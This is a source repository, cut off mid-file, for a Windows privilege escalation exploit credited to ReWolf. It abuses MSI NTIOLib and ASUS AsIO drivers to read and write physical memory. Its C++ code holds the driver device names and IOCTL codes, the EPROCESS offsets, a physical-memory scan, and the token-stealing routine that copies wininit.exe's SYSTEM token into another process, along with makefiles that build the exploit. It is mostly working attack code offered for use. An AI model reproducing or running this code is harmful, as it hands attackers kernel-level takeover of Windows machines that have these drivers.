├── .gitattributes
├── .gitignore
├── MsiExploit.sln
├── MsiExploit
├── ASUSCERT.rc
├── AsIO.cpp
├── AsIO.h
├── IMemory.h
├── Makefile
├── Makefile.nmake
├── MsiExploit.vcxproj
├── NTIOLib.cpp
├── NTIOLib.h
├── Source.cpp
├── WinIO.cpp
├── WinIO.h
└── make_ASUSCERT.py
└── README.md
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
4 | # Custom for Visual Studio
5 | *.cs diff=csharp
6 |
7 | # Standard to msysgit
8 | *.doc diff=astextplain
9 | *.DOC diff=astextplain
10 | *.docx diff=astextplain
11 | *.DOCX diff=astextplain
12 | *.dot diff=astextplain
13 | *.DOT diff=astextplain
14 | *.pdf diff=astextplain
15 | *.PDF diff=astextplain
16 | *.rtf diff=astextplain
17 | *.RTF diff=astextplain
18 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | *.db
2 | *.suo
3 | *.obj
4 | *.iobj
--------------------------------------------------------------------------------
/MsiExploit.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.25420.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MsiExploit", "MsiExploit\MsiExploit.vcxproj", "{74B97E26-92E3-4A74-A1E3-3041907DFD38}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {74B97E26-92E3-4A74-A1E3-3041907DFD38}.Debug|x64.ActiveCfg = Debug|x64
17 | {74B97E26-92E3-4A74-A1E3-3041907DFD38}.Debug|x64.Build.0 = Debug|x64
18 | {74B97E26-92E3-4A74-A1E3-3041907DFD38}.Debug|x86.ActiveCfg = Debug|Win32
19 | {74B97E26-92E3-4A74-A1E3-3041907DFD38}.Debug|x86.Build.0 = Debug|Win32
20 | {74B97E26-92E3-4A74-A1E3-3041907DFD38}.Release|x64.ActiveCfg = Release|x64
21 | {74B97E26-92E3-4A74-A1E3-3041907DFD38}.Release|x64.Build.0 = Release|x64
22 | {74B97E26-92E3-4A74-A1E3-3041907DFD38}.Release|x86.ActiveCfg = Release|Win32
23 | {74B97E26-92E3-4A74-A1E3-3041907DFD38}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | EndGlobal
29 |
--------------------------------------------------------------------------------
/MsiExploit/ASUSCERT.rc:
--------------------------------------------------------------------------------
1 | ASUSCERT RCDATA ASUSCERT_now.dat
2 |
--------------------------------------------------------------------------------
/MsiExploit/AsIO.cpp:
--------------------------------------------------------------------------------
1 | /**
2 | *
3 | * MSI NTIOLib/AsIO privilege escalation exploit
4 | *
5 | * Copyright (c) 2016 ReWolf
6 | * http://blog.rewolf.pl/
7 | * http://blog.rewolf.pl/blog/?p=1630
8 | *
9 | * This program is free software: you can redistribute it and/or modify
10 | * it under the terms of the GNU Lesser General Public License as published
11 | * by the Free Software Foundation, either version 3 of the License, or
12 | * (at your option) any later version.
13 | *
14 | * This program is distributed in the hope that it will be useful,
15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | * GNU Lesser General Public License for more details.
18 | *
19 | * You should have received a copy of the GNU Lesser General Public License
20 | * along with this program. If not, see .
21 | *
22 | */
23 | #include
24 | #include
25 | #include "AsIO.h"
26 |
27 | AsIO::AsIO()
28 | {
29 | hDevice = CreateFileA("\\\\.\\Asusgio2", 0xC0000000, 0, 0, 3u, 0x80u, 0);
30 |
31 | if (hDevice == INVALID_HANDLE_VALUE) {
32 | printf("[!] Unable to open device\r\n");
33 | }
34 | else {
35 | printf("[+] Asusgio2 device opened\r\n");
36 | }
37 | }
38 |
39 | AsIO::~AsIO()
40 | {
41 | if (INVALID_HANDLE_VALUE != hDevice)
42 | CloseHandle(hDevice);
43 | }
44 |
45 | uint8_t* AsIO::mapPhysicalMemory(uint64_t physAddr, size_t size, asioMem& mem) const
46 | {
47 | if (INVALID_HANDLE_VALUE != hDevice)
48 | {
49 | memset(&mem, 0, sizeof(asioMem));
50 | mem.addr = physAddr;
51 | mem.size = size;
52 | DWORD retSize;
53 | BOOL r = DeviceIoControl(hDevice, 0xA040A480, &mem, sizeof(asioMem), &mem, sizeof(asioMem), &retSize, 0);
54 | if (r)
55 | return (uint8_t*)mem.outPtr;
56 | }
57 | return nullptr;
58 | }
59 |
60 | void AsIO::unmapPhysicalMemory(asioMem& mem) const
61 | {
62 | if (INVALID_HANDLE_VALUE != hDevice)
63 | {
64 | DWORD retSize;
65 | DeviceIoControl(hDevice, 0xA0402450, &mem, sizeof(asioMem), 0, 0, &retSize, 0);
66 | }
67 | }
68 |
69 | bool AsIO::readPhysicalMemory(uint64_t physAddress, uint8_t* buffer, size_t size) const
70 | {
71 | if (INVALID_HANDLE_VALUE != hDevice)
72 | {
73 | asioMem mem;
74 | uint8_t* tmp = mapPhysicalMemory(physAddress, size, mem);
75 | if (nullptr != tmp)
76 | {
77 | memcpy(buffer, tmp, size);
78 | unmapPhysicalMemory(mem);
79 | }
80 | }
81 | return false;
82 | }
83 |
84 | MemoryAsIO::MemoryAsIO()
85 | {
86 | memset(&m_IMemoryHelper, 0, sizeof(m_IMemoryHelper));
87 | }
88 |
89 | uint8_t* MemoryAsIO::getMemory(uint64_t physAddr, size_t size)
90 | {
91 | reset();
92 | return m_WinIo.mapPhysicalMemory(physAddr, size, m_IMemoryHelper);
93 | }
94 |
95 | void MemoryAsIO::commitMemory()
96 | {
97 | if (0 != m_IMemoryHelper.outPtr)
98 | {
99 | m_WinIo.unmapPhysicalMemory(m_IMemoryHelper);
100 | memset(&m_IMemoryHelper, 0, sizeof(m_IMemoryHelper));
101 | }
102 | }
103 |
104 | void MemoryAsIO::reset()
105 | {
106 | commitMemory();
107 | }
108 |
109 | uint64_t MemoryAsIO::getPhysicalAddress()
110 | {
111 | return m_IMemoryHelper.addr;
112 | }
113 |
114 | namespace {
115 | template
116 | void Write(uint64_t address, const T& value) {
117 | printf("Write at : %016" PRIx64 "\n", address);
118 | *reinterpret_cast(address) = value;
119 | }
120 | }
121 |
122 | void MemoryAsIO::commitValue(size_t offsetInBuf, uint64_t value)
123 | {
124 | Write(m_IMemoryHelper.outPtr + offsetInBuf, value);
125 | commitMemory();
126 | }
127 |
--------------------------------------------------------------------------------
/MsiExploit/AsIO.h:
--------------------------------------------------------------------------------
1 | /**
2 | *
3 | * MSI NTIOLib/AsIO privilege escalation exploit
4 | *
5 | * Copyright (c) 2016 ReWolf
6 | * http://blog.rewolf.pl/
7 | * http://blog.rewolf.pl/blog/?p=1630
8 | *
9 | * This program is free software: you can redistribute it and/or modify
10 | * it under the terms of the GNU Lesser General Public License as published
11 | * by the Free Software Foundation, either version 3 of the License, or
12 | * (at your option) any later version.
13 | *
14 | * This program is distributed in the hope that it will be useful,
15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | * GNU Lesser General Public License for more details.
18 | *
19 | * You should have received a copy of the GNU Lesser General Public License
20 | * along with this program. If not, see .
21 | *
22 | */
23 | #pragma once
24 | #include
25 | #include
26 | #include "IMemory.h"
27 |
28 | #pragma pack(push)
29 | #pragma pack(1)
30 | struct asioMem
31 | {
32 | uint64_t size;
33 | uint64_t addr;
34 | uint64_t physmemHdl;
35 | uint64_t outPtr;
36 | uint64_t physmemObj;
37 | };
38 | #pragma pack(pop)
39 |
40 | class AsIO
41 | {
42 | private:
43 | HANDLE hDevice;
44 |
45 | public:
46 | AsIO();
47 | virtual ~AsIO();
48 | uint8_t* mapPhysicalMemory(uint64_t physAddr, size_t size, asioMem& mem) const;
49 | void unmapPhysicalMemory(asioMem& mem) const;
50 | bool readPhysicalMemory(uint64_t physAddress, uint8_t* buffer, size_t size) const;
51 | };
52 |
53 | class MemoryAsIO : public IMemory
54 | {
55 | private:
56 | AsIO m_WinIo;
57 | asioMem m_IMemoryHelper;
58 |
59 | public:
60 | MemoryAsIO();
61 | uint8_t* getMemory(uint64_t physAddr, size_t size = 0x1000) override;
62 | void commitMemory() override;
63 | void reset() override;
64 | uint64_t getPhysicalAddress() override;
65 | void commitValue(size_t offsetInBuf, uint64_t value) override;
66 | };
67 |
--------------------------------------------------------------------------------
/MsiExploit/IMemory.h:
--------------------------------------------------------------------------------
1 | /**
2 | *
3 | * MSI NTIOLib/WinIO privilege escalation exploit
4 | *
5 | * Copyright (c) 2016 ReWolf
6 | * http://blog.rewolf.pl/
7 | * http://blog.rewolf.pl/blog/?p=1630
8 | *
9 | * This program is free software: you can redistribute it and/or modify
10 | * it under the terms of the GNU Lesser General Public License as published
11 | * by the Free Software Foundation, either version 3 of the License, or
12 | * (at your option) any later version.
13 | *
14 | * This program is distributed in the hope that it will be useful,
15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | * GNU Lesser General Public License for more details.
18 | *
19 | * You should have received a copy of the GNU Lesser General Public License
20 | * along with this program. If not, see .
21 | *
22 | */
23 | #pragma once
24 |
25 | class IMemory
26 | {
27 | public:
28 | virtual ~IMemory() {};
29 | virtual uint8_t* getMemory(uint64_t physAddr, size_t size = 0x1000) = 0;
30 | virtual void commitMemory() = 0;
31 | virtual void reset() = 0;
32 | virtual uint64_t getPhysicalAddress() = 0;
33 | virtual void commitValue(size_t offsetInBuf, uint64_t value) = 0;
34 | };
35 |
--------------------------------------------------------------------------------
/MsiExploit/Makefile:
--------------------------------------------------------------------------------
1 | exploit: Source.cpp NTIOLib.cpp WinIO.cpp ASUSCERT.o
2 | x86_64-w64-mingw32-g++ -static-libstdc++ -static-libgcc -W -Wall -Wno-cast-function-type -Wno-unknown-pragmas -O2 -o exploit Source.cpp NTIOLib.cpp WinIO.cpp AsIO.cpp ASUSCERT.o -lkernel32 -lole32 -loleaut32 -lwbemuuid -lshlwapi
3 | #
4 | # Generate a new ASUSCERT resource
5 | ASUSCERT.o:
6 | ./make_ASUSCERT.py
7 | x86_64-w64-mingw32-windres ASUSCERT.rc ASUSCERT.o
8 |
9 | clean:
10 | rm -f exploit.exe ASUSCERT.o ASUSCERT_now.dat
11 |
12 | .PHONY: ASUSCERT.o
13 |
14 |
--------------------------------------------------------------------------------
/MsiExploit/Makefile.nmake:
--------------------------------------------------------------------------------
1 | exploit: Source.cpp NTIOLib.cpp WinIO.cpp ASUSCERT.res
2 | cl.exe /O2 /EHsc Source.cpp NTIOLib.cpp WinIO.cpp AsIO.cpp ASUSCERT.res /link /out:exploit.exe
3 | #
4 | # Generate a new ASUSCERT resource
5 | ASUSCERT.res: .PHONY
6 | python make_ASUSCERT.py
7 | rc ASUSCERT.rc
8 |
9 | .PHONY:
10 |
--------------------------------------------------------------------------------
/MsiExploit/MsiExploit.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | {74B97E26-92E3-4A74-A1E3-3041907DFD38}
23 | Win32Proj
24 | MsiExploit
25 | 10.0.17134.0
26 |
27 |
28 |
29 | Application
30 | true
31 | v141
32 | Unicode
33 |
34 |
35 | Application
36 | false
37 | v141
38 | true
39 | Unicode
40 |
41 |
42 | Application
43 | true
44 | v141
45 | Unicode
46 |
47 |
48 | Application
49 | false
50 | v141
51 | true
52 | Unicode
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 | true
74 |
75 |
76 | true
77 |
78 |
79 | false
80 |
81 |
82 | false
83 |
84 |
85 |
86 |
87 |
88 | Level3
89 | Disabled
90 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
91 |
92 |
93 | Console
94 | true
95 |
96 |
97 |
98 |
99 |
100 |
101 | Level3
102 | Disabled
103 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
104 |
105 |
106 | Console
107 | true
108 |
109 |
110 |
111 |
112 | Level3
113 |
114 |
115 | MaxSpeed
116 | true
117 | true
118 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
119 | MultiThreaded
120 |
121 |
122 | Console
123 | true
124 | true
125 | true
126 |
127 |
128 |
129 |
130 | Level3
131 |
132 |
133 | MaxSpeed
134 | true
135 | true
136 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
137 |
138 |
139 | Console
140 | true
141 | true
142 | true
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
--------------------------------------------------------------------------------
/MsiExploit/NTIOLib.cpp:
--------------------------------------------------------------------------------
1 | /**
2 | *
3 | * MSI NTIOLib/WinIO privilege escalation exploit
4 | *
5 | * Copyright (c) 2016 ReWolf
6 | * http://blog.rewolf.pl/
7 | * http://blog.rewolf.pl/blog/?p=1630
8 | *
9 | * This program is free software: you can redistribute it and/or modify
10 | * it under the terms of the GNU Lesser General Public License as published
11 | * by the Free Software Foundation, either version 3 of the License, or
12 | * (at your option) any later version.
13 | *
14 | * This program is distributed in the hope that it will be useful,
15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | * GNU Lesser General Public License for more details.
18 | *
19 | * You should have received a copy of the GNU Lesser General Public License
20 | * along with this program. If not, see .
21 | *
22 | */
23 | #include "NTIOLib.h"
24 |
25 | NTIOLib::NTIOLib()
26 | {
27 | static const char* const driverNames[] =
28 | {
29 | "\\\\.\\NTIOLib_FastBoot",
30 | "\\\\.\\NTIOLib_MSIDDR_CC",
31 | "\\\\.\\NTIOLib_MSISMB_CC",
32 | "\\\\.\\NTIOLib_MSISuperIO_CC",
33 | "\\\\.\\NTIOLib_MSIClock_CC",
34 | "\\\\.\\NTIOLib_MSICOMM_CC",
35 | "\\\\.\\NTIOLib_MSIFrequency_CC",
36 | "\\\\.\\NTIOLib_1_0_2",
37 | "\\\\.\\NTIOLib_1_0_3",
38 | "\\\\.\\NTIOLib_1_0_4",
39 | "\\\\.\\NTIOLib_1_0_6",
40 | "\\\\.\\NTIOLib_MSICPU_CC",
41 | "\\\\.\\NTIOLib_MB",
42 | "\\\\.\\NTIOLib_ACTIVE_X"
43 | };
44 | for (unsigned int i = 0; i < _countof(driverNames); i++)
45 | {
46 | hDevice = CreateFileA(driverNames[i], 0xC0000000, 0, 0, 3u, 0x80u, 0);
47 | if (INVALID_HANDLE_VALUE != hDevice)
48 | break;
49 | }
50 | }
51 |
52 | NTIOLib::~NTIOLib()
53 | {
54 | if (INVALID_HANDLE_VALUE != hDevice)
55 | CloseHandle(hDevice);
56 | }
57 |
58 | uint64_t NTIOLib::readPmc(uint32_t pmc) const
59 | {
60 | uint64_t ret = 0;
61 | if (INVALID_HANDLE_VALUE != hDevice)
62 | {
63 | DWORD retSize;
64 | DeviceIoControl(hDevice, 0xC350208C, &pmc, sizeof(pmc), &ret, sizeof(ret), &retSize, 0);
65 | }
66 | return ret;
67 | }
68 |
69 | uint64_t NTIOLib::readMsr(uint32_t msr) const
70 | {
71 | uint64_t ret = 0;
72 | if (INVALID_HANDLE_VALUE != hDevice)
73 | {
74 | DWORD retSize;
75 | DeviceIoControl(hDevice, 0xC3502084, &msr, sizeof(msr), &ret, sizeof(ret), &retSize, 0);
76 | }
77 | return ret;
78 | }
79 |
80 | bool NTIOLib::writeMsr(uint32_t msr, uint64_t value) const
81 | {
82 | if (INVALID_HANDLE_VALUE != hDevice)
83 | {
84 | DWORD retSize;
85 | if (DeviceIoControl(hDevice, 0xC3502088, &msr, sizeof(msr), &value, sizeof(value), &retSize, 0))
86 | return true;
87 | }
88 | return false;
89 | }
90 |
91 | bool NTIOLib::readPhysicalMemory(uint64_t physAddress, uint8_t* buffer, size_t size) const
92 | {
93 | if (INVALID_HANDLE_VALUE != hDevice)
94 | {
95 | DWORD retSize;
96 | rwMemStruct st = { physAddress, 1, (uint32_t) size };
97 | if (DeviceIoControl(hDevice, 0xC3506104, &st, sizeof(st), buffer, (uint32_t)size, &retSize, 0))
98 | return true;
99 | }
100 | return false;
101 | }
102 |
103 | bool NTIOLib::writePhysicalMemory(uint64_t physAddress, const uint8_t* buffer, size_t size) const
104 | {
105 | bool ret = false;
106 | if (INVALID_HANDLE_VALUE != hDevice)
107 | {
108 | DWORD retSize;
109 | rwMemStruct st = { physAddress, 1, (uint32_t)size };
110 | uint8_t* mem = (uint8_t*)malloc(sizeof(rwMemStruct) + size);
111 | if (nullptr == mem)
112 | return false;
113 | memcpy(mem, &st, sizeof(st));
114 | memcpy(mem + sizeof(st), buffer, size);
115 | ret = DeviceIoControl(hDevice, 0xC350A108, mem, sizeof(rwMemStruct) + (uint32_t) size, 0, 0, &retSize, 0) == TRUE;
116 | free(mem);
117 | }
118 | return ret;
119 | }
120 |
121 | void NTIOLib::halt() const
122 | {
123 | if (INVALID_HANDLE_VALUE != hDevice)
124 | {
125 | DWORD retSize;
126 | DeviceIoControl(hDevice, 0xC3502090, 0, 0, 0, 0, &retSize, 0);
127 | }
128 | }
129 |
130 | bool NTIOLib::in8(uint16_t port, uint8_t& outv) const
131 | {
132 | if (INVALID_HANDLE_VALUE != hDevice)
133 | {
134 | DWORD retSize;
135 | uint32_t tmp = port;
136 | if (DeviceIoControl(hDevice, 0xC35060CC, &tmp, sizeof(tmp), &outv, sizeof(uint8_t), &retSize, 0))
137 | return true;
138 | }
139 | return false;
140 | }
141 |
142 | bool NTIOLib::out8(uint16_t port, uint8_t inv) const
143 | {
144 | if (INVALID_HANDLE_VALUE != hDevice)
145 | {
146 | DWORD retSize;
147 | uint8_t buf[5] = { 0 };
148 | memcpy(buf, &port, sizeof(port));
149 | buf[4] = inv;
150 | if (DeviceIoControl(hDevice, 0xC350A0D8, buf, sizeof(buf), 0, 0, &retSize, 0))
151 | return true;
152 | }
153 | return false;
154 | }
155 |
156 | MemoryNTIOLib::MemoryNTIOLib() : m_IMemoryHelper(nullptr), m_IMemoryHelperSize(0), m_IMemoryHelperAddr(0) {}
157 |
158 | uint8_t* MemoryNTIOLib::getMemory(uint64_t physAddr, size_t size)
159 | {
160 | reset();
161 | uint8_t* ret = (uint8_t*)malloc(size);
162 | if (nullptr == ret)
163 | return ret;
164 | if (m_ntio.readPhysicalMemory(physAddr, ret, size))
165 | {
166 | m_IMemoryHelper = ret;
167 | m_IMemoryHelperSize = size;
168 | m_IMemoryHelperAddr = physAddr;
169 | return ret;
170 | }
171 | free(ret);
172 | return nullptr;
173 | }
174 |
175 | void MemoryNTIOLib::commitMemory()
176 | {
177 | if (nullptr != m_IMemoryHelper)
178 | {
179 | m_ntio.writePhysicalMemory(m_IMemoryHelperAddr, m_IMemoryHelper, m_IMemoryHelperSize);
180 | free(m_IMemoryHelper);
181 | m_IMemoryHelper = 0;
182 | m_IMemoryHelperAddr = 0;
183 | m_IMemoryHelperSize = 0;
184 | }
185 | }
186 |
187 | void MemoryNTIOLib::reset()
188 | {
189 | if (nullptr != m_IMemoryHelper)
190 | {
191 | free(m_IMemoryHelper);
192 | m_IMemoryHelper = 0;
193 | m_IMemoryHelperAddr = 0;
194 | m_IMemoryHelperSize = 0;
195 | }
196 | }
197 |
198 | uint64_t MemoryNTIOLib::getPhysicalAddress()
199 | {
200 | return m_IMemoryHelperAddr;
201 | }
202 |
203 | namespace {
204 | template
205 | void Write(const NTIOLib& ntio, uint64_t address, const T& value) {
206 | ntio.writePhysicalMemory(address, reinterpret_cast(&value), sizeof(T));
207 | }
208 | }
209 |
210 | void MemoryNTIOLib::commitValue(size_t offsetInBuf, uint64_t value)
211 | {
212 | Write(m_ntio, m_IMemoryHelperAddr + offsetInBuf, value);
213 | reset();
214 | }
215 |
--------------------------------------------------------------------------------
/MsiExploit/NTIOLib.h:
--------------------------------------------------------------------------------
1 | /**
2 | *
3 | * MSI NTIOLib/WinIO privilege escalation exploit
4 | *
5 | * Copyright (c) 2016 ReWolf
6 | * http://blog.rewolf.pl/
7 | * http://blog.rewolf.pl/blog/?p=1630
8 | *
9 | * This program is free software: you can redistribute it and/or modify
10 | * it under the terms of the GNU Lesser General Public License as published
11 | * by the Free Software Foundation, either version 3 of the License, or
12 | * (at your option) any later version.
13 | *
14 | * This program is distributed in the hope that it will be useful,
15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | * GNU Lesser General Public License for more details.
18 | *
19 | * You should have received a copy of the GNU Lesser General Public License
20 | * along with this program. If not, see .
21 | *
22 | */
23 | #pragma once
24 | #include
25 | #include
26 | #include "IMemory.h"
27 |
28 | class NTIOLib
29 | {
30 | private:
31 | HANDLE hDevice;
32 |
33 | #pragma pack(push)
34 | #pragma pack(1)
35 | struct rwMemStruct
36 | {
37 | uint64_t addr;
38 | uint32_t itemSize; //1, 2, 4
39 | uint32_t itemCount;
40 | };
41 | #pragma pack(pop)
42 |
43 | public:
44 | NTIOLib();
45 | ~NTIOLib();
46 | uint64_t readPmc(uint32_t pmc) const;
47 | uint64_t readMsr(uint32_t msr) const;
48 | bool writeMsr(uint32_t msr, uint64_t value) const;
49 | bool readPhysicalMemory(uint64_t physAddress, uint8_t* buffer, size_t size) const;
50 | bool writePhysicalMemory(uint64_t physAddress, const uint8_t* buffer, size_t size) const;
51 | void halt() const;
52 | bool in8(uint16_t port, uint8_t& outv) const;
53 | bool out8(uint16_t port, uint8_t inv) const;
54 | };
55 |
56 | class MemoryNTIOLib : public IMemory
57 | {
58 | private:
59 | NTIOLib m_ntio;
60 | uint8_t* m_IMemoryHelper;
61 | size_t m_IMemoryHelperSize;
62 | uint64_t m_IMemoryHelperAddr;
63 |
64 | public:
65 | MemoryNTIOLib();
66 | uint8_t* getMemory(uint64_t physAddr, size_t size = 0x1000) override;
67 | void commitMemory() override;
68 | void reset() override;
69 | uint64_t getPhysicalAddress() override;
70 | void commitValue(size_t offsetInBuf, uint64_t value) override;
71 | };
72 |
--------------------------------------------------------------------------------
/MsiExploit/Source.cpp:
--------------------------------------------------------------------------------
1 | /**
2 | *
3 | * MSI NTIOLib/WinIO privilege escalation exploit
4 | *
5 | * Copyright (c) 2016 ReWolf
6 | * http://blog.rewolf.pl/
7 | * http://blog.rewolf.pl/blog/?p=1630
8 | *
9 | * This program is free software: you can redistribute it and/or modify
10 | * it under the terms of the GNU Lesser General Public License as published
11 | * by the Free Software Foundation, either version 3 of the License, or
12 | * (at your option) any later version.
13 | *
14 | * This program is distributed in the hope that it will be useful,
15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | * GNU Lesser General Public License for more details.
18 | *
19 | * You should have received a copy of the GNU Lesser General Public License
20 | * along with this program. If not, see .
21 | *
22 | */
23 | #define NOMINMAX
24 | #include
25 | #include
26 | #include
27 | #include
28 | #include
29 | #include
30 | #include
31 | #include
32 | #include
33 | #include
34 | #include
35 | #include
36 | #include
37 | #include
38 | #include
39 |
40 | #include "IMemory.h"
41 | #include "WinIO.h"
42 | #include "NTIOLib.h"
43 | #include "AsIO.h"
44 |
45 | #pragma comment(lib, "shlwapi.lib")
46 | #pragma comment(lib, "wbemuuid.lib")
47 |
48 | static const char SystemProcessNameA[] = "wininit.exe";
49 | static const wchar_t SystemProcessNameW[] = L"wininit.exe";
50 |
51 | //CONSTANT definitions for Windows 10 TH2/RS1 x64
52 | static const uint32_t PoolHeaderDelta = 0x0080; // size of POOL_HEADER, OBJECT_HEADER and some other optional header info structures
53 | static const uint32_t EprocessImageFileNameSize = 0x000F; // size of ImageFileName field in EPROCESS
54 | static const uint32_t EprocessImageFileName = 0x0450; // offset of ImageFileName field in EPROCESS
55 | static const uint32_t EprocessUniqueProcessId = 0x02E8; // offset of UniqueProcessId field in EPROCESS
56 | static uint32_t EprocessToken = 0x0358; // offset of Token field in EPROCESS
57 |
58 | // for MinGW
59 | extern "C" WINBASEAPI BOOL WINAPI GetPhysicallyInstalledSystemMemory(PULONGLONG);
60 | typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation);
61 |
62 | void iteratePhysicalMemory(IMemory& memory, std::unordered_map hwMapping, std::function func)
63 | {
64 | uint64_t MaxMem = 0;
65 | GetPhysicallyInstalledSystemMemory(&MaxMem);
66 | MaxMem += MaxMem / 2; // add 50% due to "holes" for hardware io access
67 | static const uint64_t step = 0x1000LL;
68 | for (uint64_t i = 0; i < MaxMem * 1024; i += step)
69 | {
70 | auto it = hwMapping.find(i);
71 | if (it != hwMapping.end())
72 | {
73 | i += it->second;
74 | }
75 | uint8_t* addr = memory.getMemory(i, step);
76 | if (nullptr != addr)
77 | {
78 | if (func(memory, addr, step))
79 | {
80 | memory.reset();
81 | return;
82 | }
83 | memory.reset();
84 | }
85 | }
86 | }
87 |
88 | enum EprocessAction
89 | {
90 | StealToken,
91 | ReuseToken
92 | };
93 |
94 | bool doEprocessAction(IMemory& memory, const uint8_t* addr, size_t size, uint32_t pid, const char* procName, EprocessAction action, uint64_t& stolenToken)
95 | {
96 | size_t curSize = size;
97 | for (uint32_t x = 0; x < size - 4; x++)
98 | {
99 | if (0 == memcmp(addr + x, "Proc", 4))
100 | {
101 | if (x + PoolHeaderDelta - 4 + EprocessImageFileName + EprocessImageFileNameSize > curSize)
102 | {
103 | addr = memory.getMemory(memory.getPhysicalAddress(), 2 * size);
104 | curSize = 2 * size;
105 | }
106 |
107 | if ((nullptr != addr) && (*(uint64_t*)(addr + x + PoolHeaderDelta - 4 + EprocessUniqueProcessId) == pid))
108 | {
109 | printf("EPROCESS: %s, token: %016" PRIx64 ", PID: %016" PRIx64 "\n", addr + x + PoolHeaderDelta - 4 + EprocessImageFileName, *(uint64_t*)(addr + x + PoolHeaderDelta - 4 + EprocessToken), *(uint64_t*)(addr + x + PoolHeaderDelta - 4 + EprocessUniqueProcessId));
110 | if (0 == _stricmp((char*)addr + x + PoolHeaderDelta - 4 + EprocessImageFileName, procName))
111 | {
112 | if (StealToken == action)
113 | {
114 | printf("Stealing token...\n");
115 | stolenToken = *(uint64_t*)(addr + x + PoolHeaderDelta - 4 + EprocessToken);
116 | }
117 | else
118 | {
119 | printf("Reusing token...\n");
120 | memory.commitValue(x + PoolHeaderDelta - 4 + EprocessToken, stolenToken);
121 | }
122 | return true;
123 | }
124 | }
125 | }
126 | }
127 | return false;
128 | }
129 |
130 | uint32_t getSystemProcessPid()
131 | {
132 | HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
133 | if (INVALID_HANDLE_VALUE == toolhelp)
134 | return 0;
135 | PROCESSENTRY32W procEntry;
136 | memset(&procEntry, 0, sizeof(procEntry));
137 | procEntry.dwSize = sizeof(procEntry);
138 | if (Process32FirstW(toolhelp, &procEntry))
139 | {
140 | do
141 | {
142 | if (0 == _wcsicmp(procEntry.szExeFile, SystemProcessNameW))
143 | {
144 | CloseHandle(toolhelp);
145 | return procEntry.th32ProcessID;
146 | }
147 | } while (Process32NextW(toolhelp, &procEntry));
148 | }
149 | return 0;
150 | }
151 |
152 | void getHardwareMappings(std::unordered_map& hardwareMappings)
153 | {
154 | if (FAILED(CoInitializeEx(0, COINIT_MULTITHREADED)))
155 | {
156 | return;
157 | }
158 |
159 | if (FAILED(CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL)))
160 | {
161 | CoUninitialize();
162 | return;
163 | }
164 |
165 | IWbemLocator *pLoc = NULL;
166 | if (FAILED(CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *)&pLoc)))
167 | {
168 | CoUninitialize();
169 | return;
170 | }
171 |
172 | IWbemServices *pSvc = NULL;
173 | if (FAILED(pLoc->ConnectServer(bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, 0, 0, 0, &pSvc)))
174 | {
175 | pLoc->Release();
176 | CoUninitialize();
177 | return;
178 | }
179 |
180 | if (FAILED(CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE)))
181 | {
182 | pSvc->Release();
183 | pLoc->Release();
184 | CoUninitialize();
185 | return;
186 | }
187 |
188 | IEnumWbemClassObject* pEnumerator = NULL;
189 | if (FAILED(pSvc->ExecQuery(bstr_t(L"WQL"), bstr_t(L"SELECT * FROM Win32_DeviceMemoryAddress"), WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator)))
190 | {
191 | pSvc->Release();
192 | pLoc->Release();
193 | CoUninitialize();
194 | return;
195 | }
196 |
197 | std::vector> ranges;
198 | IWbemClassObject *pclsObj = NULL;
